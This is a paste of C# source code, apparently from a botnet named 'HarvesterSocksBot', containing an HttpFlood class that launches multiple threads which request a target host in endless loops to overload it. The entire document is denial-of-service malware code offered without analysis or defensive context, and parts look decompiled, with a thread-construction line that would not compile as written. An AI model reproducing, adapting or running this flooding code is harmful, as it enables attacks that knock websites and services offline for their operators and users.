
Untitled
By: a guest on
Jul 10th, 2012 | syntax:
None | size: 2.33 KB | hits: 15 | expires: Never
namespace HarvesterSocksBot.Floods
{
using System;
using System.Net;
using System.Threading;
internal class HttpFlood
{
private ThreadStart[] FloodingJob;
private Thread[] FloodingThread;
public string Host;
public int Interval = 20;
public bool IsEnabled;
private HttpRequest[] RequestClass;
public int Threads = 2;
public void StartHttpFlood()
{
this.FloodingThread = new Thread[this.Threads];
this.FloodingJob = new ThreadStart[this.Threads];
this.RequestClass = new HttpRequest[this.Threads];
for (int i = 0; i < this.Threads; i++)
{
this.RequestClass[i] = new HttpRequest(this.Host, this.Interval);
this.FloodingJob[i] = new ThreadStart(this.RequestClass[i], this.Send);
this.FloodingThread[i] = new Thread(this.FloodingJob[i]);
this.FloodingThread[i].Start();
}
this.IsEnabled = true;
}
public void StopHttpFlood()
{
for (int i = 0; i < this.Threads; i++)
{
try
{
this.FloodingThread[i].Abort();
this.FloodingThread[i] = null;
this.FloodingJob[i] = null;
this.RequestClass[i] = null;
}
catch
{
}
}
this.IsEnabled = false;
}
private class HttpRequest
{
private string Host;
private WebClient Http = new WebClient();
private int Interval;
public HttpRequest(string Host, int Interval)
{
this.Host = Host;
this.Interval = Interval;
}
public void Send()
{
Label_0000:
try
{
this.Http.DownloadString(this.Host);
Thread.Sleep(this.Interval);
goto Label_0000;
}
catch
{
Thread.Sleep(this.Interval);
goto Label_0000;
}
}
}
}
}